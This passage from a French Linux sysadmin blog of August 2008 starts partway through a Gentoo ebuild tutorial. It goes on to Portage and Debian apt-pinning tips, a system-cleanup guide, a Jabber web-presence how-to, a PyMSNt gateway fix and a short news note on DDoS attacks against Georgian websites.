		if ! use gtk && ! use remote && ! use amuled; then
				eerror ""
				eerror "You have to specify at least one of gtk, remote or amuled"
				eerror "USE flag to build amule."
				eerror ""
				die "Invalid USE flag set"
		fi

		if use unicode && use gtk; then
				einfo "wxGTK with gtk2 and unicode support will be used"
				need-wxwidgets unicode
		elif use gtk; then
				einfo "wxGTK with gtk2 support will be used"
				need-wxwidgets gtk2
		elif use unicode; then
				einfo "wxGTK with unicode and without X support will be used"
				need-wxwidgets base-unicode
		else
				einfo "wxGTK without X support will be used"
				need-wxwidgets base
		fi

		if use stats && ! use gtk; then
				einfo "Note: You would need both the gtk and stats USE flags"
				einfo "to compile aMule Statistics GUI."
				einfo "I will now compile console versions only."
		fi

		if use stats && ! built_with_use media-libs/gd jpeg; then
				die "media-libs/gd should be compiled with the jpeg use flag when you have the stats use flag set"
		fi
}

L’étape de configuration/compilation. De même que pour pkg_setup, on utilise la fonction « use » pour configurer dynamiquement les sources. Classiquement, on définit une variable locale (ici myconf) à laquelle on rajoute des arguments selon les flags USE utilisés. Pour configurer le paquet, on n’utilise pas directement ./configure, mais plutôt la fonction econf et pour compiler non pas make mais emake.

src_compile() {
		local myconf=""

		if use gtk ; then
				use stats && myconf="${myconf}
					--enable-wxcas
					--enable-alc"
				use remote && myconf="${myconf}
					--enable-amule-gui"
		else
				myconf="
					--disable-monolithic
					--disable-amule-gui
					--disable-wxcas
					--disable-alc"
		fi

		econf 
				--with-wx-config=${WX_CONFIG} 
				--with-wxbase-config=${WX_CONFIG} 
				--enable-amulecmd 
				`use_enable debug` 
				`use_enable !debug optimize` 
				`use_enable amuled amule-daemon` 
				`use_enable nls` 
				`use_enable remote webserver` 
				`use_enable stats cas` 
				`use_enable stats alcc` 
				${myconf} || die

		# we filter ssp until bug #74457 is closed to build on hardened
		if has_hardened; then
				filter-flags -fstack-protector -fstack-protector-all
		fi
 		emake -j1 || die
}

L’étape d’installation des sources, utilisée notamment si des manipulations sont à faire après la compilation (ici par exemple, la création de nouveaux groupes ou d’utilisateurs).

src_install() {
 		make DESTDIR=${D} install || die

		if use amuled || use remote; then
			if ! id p2p >/dev/null; then
					enewgroup p2p
					enewuser p2p -1 -1 /home/p2p p2p
			fi
		fi

		if use amuled; then
				insinto /etc/conf.d; newins ${FILESDIR}/amuled.confd amuled
				exeinto /etc/init.d; newexe ${FILESDIR}/amuled.initd amuled
		fi

		if use remote; then
				insinto /etc/conf.d; newins ${FILESDIR}/amuleweb.confd amuleweb
				exeinto /etc/init.d; newexe ${FILESDIR}/amuleweb.initd amuleweb
		fi
}

Comme on a pu le voir, certaines fonctions sont à la dispositions de l’utilisateur dans les ebuilds. Les plus courantes :

– use : permet de vérifier la présence d’un flag USE.
– einfo : affiche un message d’information.
– eerror : affiche un message d’erreur et stoppe.
– econf : configure les sources.
– emake : compile les sources.

Une fois l’ebuild créé, il doit être placé dans le bon répertoire. Ensuite, il faut créer le digest : ebuild chemin_vers_l’ebuild digest

Une fois ceci fait sans erreur, votre paquet est près à être emergé.

Plus d’infos ?

Pour avoir plus d’informations sur la création d’ebuilds Gentoo, vous pouvez allez directement consulter la page de référence du handbook gentoo. Vous y retrouverez tout ce qui a été dit ici, mais aussi la liste complète des variables et des fonctions définies par emerge.

emerge -sync, ne pas regénérer le cache

Sun, 24 Aug 2008 23:54:45 +0000

Un autre tip tiré de (bientôt) feu le wiki, merci trap :-)

On le sait, Portage est très bien mais le souci reste quand même la lenteur relative de emerge –sync. Une astuce pour gagner un peu de temps consiste à désactiver la régénération du cache à la fin du processus.

Marche à suivre:

Elle est très simple. Tout d’abord :

echo "portdbapi.auxdbmodule = cache.metadata_overlay.database" >> /etc/portage/modules

Rajouter ensuite FEATURES="-metadata-transfer dans le fichier /etc/make.conf.

Et pour finir, on peut supprimer l’ancien cache :
rm -rf /var/cache/edb/dep/*

Conclusion :
Voilà 5 minutes (voire plus) de gagnées pour la mise à jour. Alors la grande question reste pourquoi cela n’est pas le comportement par défaut de Portage ?
Portage n’est pas encore capable de détecter si un eclass a été modifié entre temps et donc s’il faut régénerer le cache ou pas. Si vous ne faites aucune modification d’eclass (ce qui est assez probablement le cas), cette méthode ne pose aucun souci.

Nouvelles options de portage

Sun, 17 Aug 2008 00:10:05 +0000

Depuis portage-2.2_rc2, de nouvelles fonctions ont été intégrées.

–jobs JOBS
Specifies the number of packages to build simultaneously.
Also see the related –load-average option.

–keep-going
Continue as much as possible after an error. When an error
occurs, dependencies are recalculated for remaining packages
and any with unsatisfied dependencies are automatically
dropped. Also see the related –skipfirst option.

–load-average LOAD
Specifies that no new builds should be started if there are
other builds running and the load average is at least LOAD (a
floating-point number). This option is recommended for use in
combination with –jobs in order to avoid excess load. See
make(1) for information about analogous options that should
be configured via MAKEOPTS in make.conf(5).

Ces options permettent de paralleliser les opérations et ainsi de tirer de parti des processeurs multi core. Les versions de portage intégrants ces fonctions ne sont disponibles qu’en ~arch pour le moment.

Debian testing hybride avec unstable

Sat, 16 Aug 2008 02:48:24 +0000

Encore un tip qui vient du wiki. Merci Superna 🙂

Introduction

Il arrive que la debian testing soit en manque ce certains paquets qui sont disponibles en unstable.
Il faut alors mettre sa debian en Hybride, en ajoutant le repository unstable et régler apt pour donner une plus grande priorité a Testing.

Ajout de Unstable

Ajoutez dans votre /etc/apt/sources.list les lignes correspondant à unstable.

Par exemple vous pouvez avoir :

deb http://ftp.fr.debian.org/debian/ testing main contrib
deb-src http://ftp.fr.debian.org/debian/ testing main contrib

ajoutez a la suite :

deb http://ftp.fr.debian.org/debian/ unstable main contrib
deb-src http://ftp.fr.debian.org/debian/ unstable main contrib

Régler les priorités

Créez le fichier /etc/apt/preferences et ajoutez :

Package: *
Pin: release a=testing
Pin-Priority: 100
Package: *
Pin: release a=unstable
Pin-Priority: 90

Il faut que la priorité de unstable (ici 90) soit inférieure a celle de testing (ici 100)
On aurait pu mettre 1 et 2 !

Ensuite, vous aurez accés a tout les paquets de testing et en plus a ceux de unstable qui manqueraient.

Conflit Russie Géorgie

Thu, 14 Aug 2008 01:21:08 +0000

Le conflit qui oppose la Russie et la Géorgie se retrouve aussi sur internet.

Depuis le 20 juillet, des sites Georgiens sont la cible d’attaques DDOS d’envergure. Les sites du parlement, du président, des banques nationales on été défacés ou mis hors ligne.

Une organisation cybercriminelle Russe connue à été identifiée comme source des attaques. Pour le moment aucune relation n’est prouvée entre le groupe criminel Russe et le Gouvernement de Moscou.

Certains pays ont prétés main forte à la Georgie comme l’Estonie qui à mis a disposition plusieurs experts ou encore la Pologne. Certains sites critiques sont désormais hébergés aux Etats-unis.

Des infos interessantes sont dispo sur le blog du ministère des affaires étrangères Géorgien, ici et aussi là

mod_security-2.5.6 sur gentoo

Tue, 12 Aug 2008 05:50:52 +0000

mod_security est un firewall applicatif sous forme de module pour apache.

Sous gentoo, portage n’intègre pas encore la version de maintenace 2.5.6 du module mais comme les ebuilds mod_security sont bien faits, on ne va pas se casser la tête pour la mise a jour.

Il faut faire un overlay si ce n’est pas déjà fait:

mkdir -p /usr/local/portage/www-apache/mod_security/files/2.1.2
echo 'PORTDIR_OVERLAY="/usr/local/portage"' >> /etc/make.conf

Après on fait l’ebuild pour la version 2.5.6

cp /usr/portage/www-apache/mod_security/mod_security-2.5.5.ebuild /usr/local/portage/www-apache/mod_security/mod_security-2.5.6.ebuild
cp /usr/portage/www-apache/mod_security/files/2.1.2/99_mod_security.conf /usr/local/portage/www-apache/mod_security/files/2.1.2/
ebuild mod_security-2.5.6.ebuild digest

Et hop yapuka !

Pymsnt package à jour

Fri, 08 Aug 2008 16:17:17 +0000

Suite au billet sur pymsnt qui ne se connectait plus au réseau msn. Je me suis fais un package mis à jour avec la correction et j’en profite pour le partager ici.

Ce package est tiré du repository mercurial en date du 08 août, et contient le twistfix, la correction sur le version string et aussi un fix pour petit bug dont le patch est dispo sur le google group de pymsnt que j’ai découvert ajourd’hui.

Gentoo cleaning

Fri, 08 Aug 2008 15:39:37 +0000

Je continue de migrer les pages du wiki. Celle la avait été pondue par Trapamoosch, merci à lui :-)

Avec le temps, il n’est pas rare de voir sa Gentoo s’encrasser : paquets inutiles, dépendances inutiles, fichier world contenant des entrées invalides… Un bon coup de ménage s’impose !

Prérequis

Quelques outils sont nécessaires pour faire un bon nettoyage : gentoolkit et le script dep.
emerge -av app-portage/gentoolkit app-portage/udept

Vous devez aussi, par sécurité, faire une copie de secours de votre fichier world :
cp /var/cache/edb/world /var/cache/edb/world.bak
ou (pour Portage à partir de la version 2.0.51)
cp /var/lib/portage/world /var/lib/portage/world.bak

Pour gagner du temps, revoyez vos flags USE dès cette étape, cela vous évitera trop de recompilations plus tard.
De même, désinstallez tous les softs dont vous ne voulez plus dès maintenant.

Nettoyage du fichier world

Le fichier world (/var/cache/edb/world ou /var/lib/portage/world à partir de Portage 2.0.51) recense tous les paquets que l’utilisateur à volontairement installé, sans les dépendances (qui sont, elles, toujours calculées à la volée par emerge). Or, il n’est pas rare de recompiler un paquet soi-même en tapant juste emerge le-paquet. Imaginez que vous compiliez un paquet A qui dépend d’un autre paquet B. La compilation de B échoue, pour une raison quelconque, vous arrangez ça et pour tester, vous lancer la commande : emerge B

Erreur ! Désormais, B ne sera plus considéré par emerge comme une dépendance mais bien comme un paquet à part entière que les scripts de nettoyage omettront alors de « nettoyer ».

Dans notre cas, il aurait fallu taper emerge --oneshot B, qui compile et installe le paquet mais sans l’inscrire dans le fichier world. Utlisez cette option pour toute recompilation de dépendances !

Utiliser un utilitaire comme regenworld (qui permet de reconstruire le fichier world s’il a été altéré ou détruit) peut aussi conduire à un fichier world contenant des redondances.

La première étape du nettoyage va donc consister à nettoyer le fichiers world pour en retirer toutes les dépendances qui n’ont rien à faire là et qu’emerge peut très bien recalculer tout seul. Dans ce cas, on considèrera donc comme entrée inutile tout paquet qui a au moins une dépendance sur lui. Le script dep fait cela relativement bien : dep -pw

– Utilisez toujours dep avec parcimonie, et toujours avec l’option -p (pretend)
– dep est assez efficace, mais très lent. Soyez patients !

dep va alors lister tous les paquets inscrits dans votre fichier world, et vous indiquer ceux qu’il estime être redondants. Ils vous suffit ensuite de les retirer de votre fichier world, toujours en vérifiant bien que ce n’est pas un paquet que vous n’aimeriez pas voir être désinstallé sans votre avis.

Exemple :

Vous installez un paquet A volontairement.
Vous installez un paquet B volontairement et qui dépend de A.
dep va considérer A comme redondant car il y a un paquet qui le considère comme dépendance (paquet B), alors que vous l’avez réellement voulu.

C’est le point faible qui fait que l’on ne peut pas laisser un nettoyeur de fichier world travailler automatiquement.

Désinstallation des paquets inutile

Les dépendances inutiles:

Une fois le fichier world propre, il est temps de retirer toutes les dépendances inutiles. On définit une dépendance inutile comme un paquet installé non inscrit dans le fichier world et sur lequel aucun autre paquet n’a de dépendance. Pour cela, très simple et toujours avec le script dep : dep -ps

dep est plus stable et surtout plus fiable que l’option –depclean d’emerge. Peut-être cela changera-t-il dans les prochaines versions de Portage.

Les slots inutiles:
Certaines librairies, comme gtk+ ou qt, utilisent le système de slot qui permet de faire cohabiter plusieurs versions en même temps. Avec le temps, certaines versions deviennent inutiles. Pour retrouver les paquets « slottés » inutiles, toujours dep : dep -pP

Dans les deux étapes précédentes, analysez bien la liste des paquets proposés pour la suppression afin de ne pas retirer des paquets voulus. Une fois ceci fait, désinstallez-les.

Fiabilisation du système

Dans tous les cas, si vous désinstallez beaucoup de paquets d’un coup, il faut contrôler que vous n’avez pas cassé de dépendances : emerge -NDua world && revdep-rebuild -a

Cela permettra de recompiler tous les paquets qui ont été touchés de près ou de loin par le remaniement du système. Une fois ceci fait, votre système doit être stable et sans problème.

Quelques gains de place

Vous pouvez nettoyer votre dossier /usr/portage/distfiles avec eclean. Cet outil permet de retirer toutes les archives de sources qui n’ont plus d’intérêt. Il garde toutes les archives des paquets installés, pour que vous n’ayez pas à les retélécharger au cas où vous voudriez les recompiler. eclean -d distfiles && eclean -d packages

Pensez que lorsque emerge désinstalle les sources d’un kernel, il ne retire pas tout. Pensez à nettoyer votre /usr/src pour retirer tous les dossiers inutiles des versions de kernels que vous avez désinstallées.

Vous pouvez aussi nettoyer le dossier /lib/modules pour retirer tous les modules des versions de kernels que vous avez désinstallés.

Il peut être utile également de vider de temps en temps les dossiers temporaires comme /tmp et /var/tmp.

Un mail qu'il est bien

Thu, 07 Aug 2008 02:15:25 +0000

Parfois on reste plusieurs minutes à lire un mail qui vaut le détour. Ce n’est pas que celui ci soit une envolée rhétorique mais il vaut son pesant.
Ce mail à été envoyé à une mailing list à laquelle je suis abonné.

j c pa tro komen c truc fonctionne.ksk j dow fèr pour dialoguer avec un d cè gen.komen écrire é lenvowé.s8 vrèmen out.

Non y’a rien d’autre.. tout le mail est la…

Afficher son status jabber sur le web

Wed, 06 Aug 2008 01:02:47 +0000

Je vais migrer petit à petit les infos du wiki par ici pour tout centraliser et simplifier la maintenance.

Comme j’ai le nez dans jabber en ce moment. Je remet ici comment utiliser le module webpresence disponible sur le serveur jabber.

Il suffit de s’inscrire au service webpresence pour pouvoir afficher son status sur le web via une image :-) Allez dans « service discovery » puis s’inscrire au service »presence.lamy.im ». La il faudra choisir parmis la longue liste de thèmes d’icones disponibles. Ca se passe par ici : http://lamy.im:5280/presence/themes

Dès que c’est fait vous recevez un message indiquant la marche à suivre pour utiliser le service webpresence.

Maintenant il ne reste plus qu’a recuperer son status !
voici un exemple pour mon jabber id:
http://lamy.im:5280/presence/jid/jc/lamy.im/image/

Dans un navigateur web il suffit de coller l’url qui va bien * sortie XML:
http://lamy.im:5280/presence/jid/jc/lamy.im/xml/
* avec une image ma ptite dame: http://lamy.im:5280/presence/jid/jc/lamy.im/image/
* pour forcer un theme d’image: http://lamy.im:5280/presence/jid/jc/lamy.im/image/<theme>/
* on peut vouloir montrer son avatar: http://lamy.im:5280/presence/jid/jc/lamy.im/avatar/

On peut également choisir de n’afficher les données que d’une ressource connectée au compte jabber: http://lamy.im:5280/presence/jid/jc/lamy.im/text/res/<resource> http://lamy.im:5280/presence/jid/jc/lamy.im/image/res/<resource> http://lamy.im:5280/presence/jid/jc/lamy.im/image/<theme>/res/<resource>

Ouaah, en plus d’etre à la pointe avec un compte jabber, vous pouvez afficher depuis n’importe où votre indisponibilité (ou l’inverse). N’hesitez pas a me contacter si vous avez des soucis 🙂

PyMSNt et msn sont dans un bateau

Wed, 06 Aug 2008 00:48:21 +0000

Voila que depuis hier, la passerelle msn du site refuse de fonctionner. Je me suis lancé dans le décorticage de cette appli en python qui utilise le framework twisted pour causer un protocole de cochon.

Voila ce qu’on trouve comme insulte dans les logs quand la passerelle tente de causer le msnien:

## VER 1 MSNP11 CVR0  
## VER 1 MSNP11  
Error in line: VER 1 MSNP11 (Invalid version response)  
Stopping factory legacy.msn.msn.DispatchFactory instance at 0x183895cc;

S’en suit dans ma fenetre jabber un joli message :

Failed to connect to MSN servers: \[Failure instance: Traceback (failure with no frames): <type ‘exceptions.Exception’>: Timeout\]

La grande classe hein… Clairement, l’annonce du protocole ne plait pas à nos voisins d’en face.
Après m’etre demandé si j’allais continuer ou pas de faire tourner cette passerelle, je me suis finalement mis en tete de la faire fonctionner :o)

Pour faire rapide, le truc est à la ligne 113 du fichier src/legacy/msn/msn.py

A la base on à : MSN\_PROTOCOL\_VERSION = « MSNP11 CVR0 »
Il faut mettre : MSN\_PROTOCOL\_VERSION = « MSNP11 »

Redémarrage de la passerelle et ensuite tout le monde est content. Je n’ai toujours pas compris l’interet de nous fermer la porte au nez mais ca n’empeche pas grand chose.